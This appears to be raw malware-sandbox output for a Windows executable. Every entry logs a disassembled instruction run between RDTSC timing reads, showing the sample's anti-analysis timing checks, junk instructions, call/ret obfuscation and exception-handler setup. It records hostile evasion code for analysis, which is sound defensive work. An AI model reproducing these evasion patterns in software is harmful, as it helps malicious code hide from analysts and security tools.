Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB4ED second address: CDB4FB instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB4FB second address: CDB4FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB4FF second address: CDB503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB503 second address: CDB52F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 337B14EBh 0x0000000e mov esi, dword ptr [ebp+122D27F4h] 0x00000014 push 9E92E1B1h 0x00000019 push eax 0x0000001a push edx 0x0000001b jng 00007FA6B14AD591h 0x00000021 jmp 00007FA6B14AD58Bh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB986 second address: CDB99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jno 00007FA6B11DE256h 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB99A second address: CDB9BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD597h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC056 second address: CDC060 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC060 second address: CDC065 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC204 second address: CDC208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC5E8 second address: CDC5EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC5EC second address: CDC5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCAE2 second address: CDCB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA6B14AD597h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCB05 second address: CDCB77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE260h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA6B11DE265h 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FA6B11DE258h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov esi, edx 0x0000002c push 00000000h 0x0000002e pushad 0x0000002f xor dword ptr [ebp+122D240Dh], esi 0x00000035 mov ecx, dword ptr [ebp+122D2A5Ch] 0x0000003b popad 0x0000003c push 00000000h 0x0000003e jl 00007FA6B11DE259h 0x00000044 push eax 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCB77 second address: CDCB86 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA6B14AD586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD36D second address: CDD3AB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA6B11DE25Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FA6B11DE263h 0x00000013 jmp 00007FA6B11DE266h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD3AB second address: CDD3B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FA6B14AD586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE60E second address: CDE612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE612 second address: CDE618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE618 second address: CDE61D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDEFD9 second address: CDEFDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDEFDF second address: CDEFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1280 second address: CE128D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FA6B14AD58Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE128D second address: CE1298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE52E7 second address: CE52EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE52EB second address: CE52FE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FA6B11DE25Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE52FE second address: CE530B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE80CD second address: CE8118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007FA6B11DE258h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 push 00000000h 0x00000023 movsx edi, bx 0x00000026 push 00000000h 0x00000028 movsx edi, cx 0x0000002b push eax 0x0000002c pushad 0x0000002d jmp 00007FA6B11DE263h 0x00000032 jng 00007FA6B11DE25Ch 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE751F second address: CE7523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE90C1 second address: CE90C6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE820F second address: CE8215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8215 second address: CE8222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8222 second address: CE8228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA27E second address: CEA310 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FA6B11DE256h 0x00000009 jp 00007FA6B11DE256h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 jne 00007FA6B11DE264h 0x0000001b call 00007FA6B11DE268h 0x00000020 pop edi 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007FA6B11DE258h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007FA6B11DE258h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 00000016h 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 cld 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jnl 00007FA6B11DE258h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC2BA second address: CEC2C4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA6B14AD586h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC9F1 second address: CECA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007FA6B11DE258h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 jc 00007FA6B11DE25Ch 0x00000029 or dword ptr [ebp+122D2C28h], esi 0x0000002f push dword ptr fs:[00000000h] 0x00000036 sub dword ptr [ebp+122D26D1h], eax 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 xor dword ptr [ebp+122D1AF4h], eax 0x00000049 mov eax, dword ptr [ebp+122D0355h] 0x0000004f mov edi, dword ptr [ebp+1245650Ch] 0x00000055 push FFFFFFFFh 0x00000057 mov edi, 15F464ACh 0x0000005c mov edi, dword ptr [ebp+122D2758h] 0x00000062 nop 0x00000063 push edx 0x00000064 push ecx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECA60 second address: CECA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED9A7 second address: CEDA20 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA6B11DE258h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jg 00007FA6B11DE256h 0x00000015 mov di, cx 0x00000018 push dword ptr fs:[00000000h] 0x0000001f jmp 00007FA6B11DE266h 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b sub dword ptr [ebp+122D26E0h], ebx 0x00000031 mov eax, dword ptr [ebp+122D165Dh] 0x00000037 and bl, 0000004Fh 0x0000003a mov dword ptr [ebp+122D2AF8h], ebx 0x00000040 push FFFFFFFFh 0x00000042 mov dword ptr [ebp+122D1F13h], ecx 0x00000048 nop 0x00000049 jmp 00007FA6B11DE269h 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEDA20 second address: CEDA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEA19 second address: CEEA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FA6B11DE256h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFAF7 second address: CEFB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFB03 second address: CEFB07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFB07 second address: CEFB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3BCC second address: CF3BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3BD2 second address: CF3BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4C24 second address: CF4C4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FA6B11DE267h 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1E40 second address: CF1E5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1E5D second address: CF1E6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6B11DE25Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1E6F second address: CF1EDD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 adc di, CFF1h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 jmp 00007FA6B14AD591h 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007FA6B14AD588h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b mov di, D0F7h 0x0000003f mov eax, dword ptr [ebp+122D000Dh] 0x00000045 mov dword ptr [ebp+122D1C81h], edx 0x0000004b push FFFFFFFFh 0x0000004d nop 0x0000004e push edi 0x0000004f push eax 0x00000050 push edx 0x00000051 jnc 00007FA6B14AD586h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D58 second address: CF5D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D5E second address: CF5D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4E2D second address: CF4E36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4EE6 second address: CF4EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4EEC second address: CF4EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4EF0 second address: CF4F01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5EC5 second address: CF5ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FA6B11DE256h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5ECF second address: CF5ED3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5FAC second address: CF5FB7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D004DB second address: D004DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D004DF second address: D004F1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FA6B11DE256h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFCD9 second address: CFFCDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D038DA second address: D038E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D038E8 second address: D038EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D038EE second address: D03909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6B11DE267h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03A01 second address: D03A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03A06 second address: D03A0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03B03 second address: D03B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09362 second address: D09368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D098E3 second address: D09911 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA6B14AD592h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c jmp 00007FA6B14AD58Ah 0x00000011 jne 00007FA6B14AD586h 0x00000017 pop esi 0x00000018 push ebx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09F95 second address: D09F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09F99 second address: D09F9F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09F9F second address: D09FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FA6B11DE27Fh 0x0000000c push edx 0x0000000d jmp 00007FA6B11DE263h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A2D2 second address: D0A2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A419 second address: D0A41D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A41D second address: D0A439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6B14AD594h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0EB21 second address: D0EB25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D9EB second address: D0D9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D9F5 second address: D0DA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA6B11DE256h 0x0000000a popad 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jnc 00007FA6B11DE256h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DA0C second address: D0DA10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DA10 second address: D0DA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B11DE266h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2E69 second address: CE2E73 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA6B14AD586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2E73 second address: CC5A85 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA6B11DE25Fh 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1DBBh], edi 0x00000015 lea eax, dword ptr [ebp+12487B96h] 0x0000001b sub dword ptr [ebp+122D2CE9h], ecx 0x00000021 nop 0x00000022 jmp 00007FA6B11DE267h 0x00000027 push eax 0x00000028 push edi 0x00000029 jnl 00007FA6B11DE26Eh 0x0000002f pop edi 0x00000030 nop 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007FA6B11DE258h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b movsx edx, bx 0x0000004e call dword ptr [ebp+122D2B68h] 0x00000054 pushad 0x00000055 jmp 00007FA6B11DE262h 0x0000005a jp 00007FA6B11DE258h 0x00000060 popad 0x00000061 push eax 0x00000062 push ebx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE35CB second address: CE35EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA6B14AD586h 0x0000000a popad 0x0000000b jng 00007FA6B14AD58Ch 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3C31 second address: CE3C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3C36 second address: CE3C3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
